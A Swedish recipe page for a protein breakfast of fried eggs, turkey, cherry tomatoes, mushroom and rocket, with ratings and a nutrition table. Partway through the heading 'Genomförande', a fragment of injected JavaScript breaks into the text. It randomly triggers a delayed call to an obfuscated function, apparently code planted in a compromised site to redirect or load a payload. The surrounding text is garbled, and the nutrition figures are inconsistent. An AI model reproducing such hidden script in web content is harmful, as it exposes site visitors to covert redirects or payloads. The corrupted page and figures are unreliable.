Proteinfrukost

2013-06-05
imageimage
  • Yield : 1
  • Servings : 1
  • Prep Time : 5m
  • Cook Time : 5m
  • Ready In : 10m

Ingredienser

• 2 Ägg
• 5 skivor Kalkon
• 4 st Cocktailtomater
• 1 Champinjon
• Ruccolla
• Salt & Peppar

Genomförandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e

Steg 1

Börja med att steka äggen, tomtarna och svampen
Krydda med lite salt & peppar

Steg 2

Servera med skivad kalkon och toppa med lite ruccolla

Medlemsbetyg

(4 / 5)

4 5 2
Betygsätt recept

2 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • Avokado & äggmacka

    Avokado & äggmacka

  • _SAM0358

    Havre, chokladpudding. Frukost kicken.

  • image

    Fisksoppa med smak av tomat och vitlök

  • image

    Hamburgare med äggbröd

Näringssinnehåll

Informationen gäller per portion

  • Kcal

    384
  • Protein

    39 9
  • Kolhydrater

    9 g
  • Fett

    45

Recipe Comments

Post A Comment

Current ye@r *